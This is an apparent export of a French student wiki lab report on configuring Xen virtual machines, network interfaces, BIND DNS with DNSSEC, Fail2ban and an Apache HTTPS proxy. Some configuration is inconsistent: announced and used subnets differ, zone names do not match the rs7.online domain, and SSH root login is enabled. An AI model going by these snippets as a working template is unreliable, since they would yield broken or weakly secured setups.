Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_ipv6.png&amp;diff=12170</id>
		<title>Fichier:Ping ipv6.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_ipv6.png&amp;diff=12170"/>
		<updated>2026-02-10T15:38:01Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : Yyahiani a téléversé une nouvelle version de Fichier:Ping ipv6.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12117</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12117"/>
		<updated>2026-02-07T17:54:07Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* HTTPS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
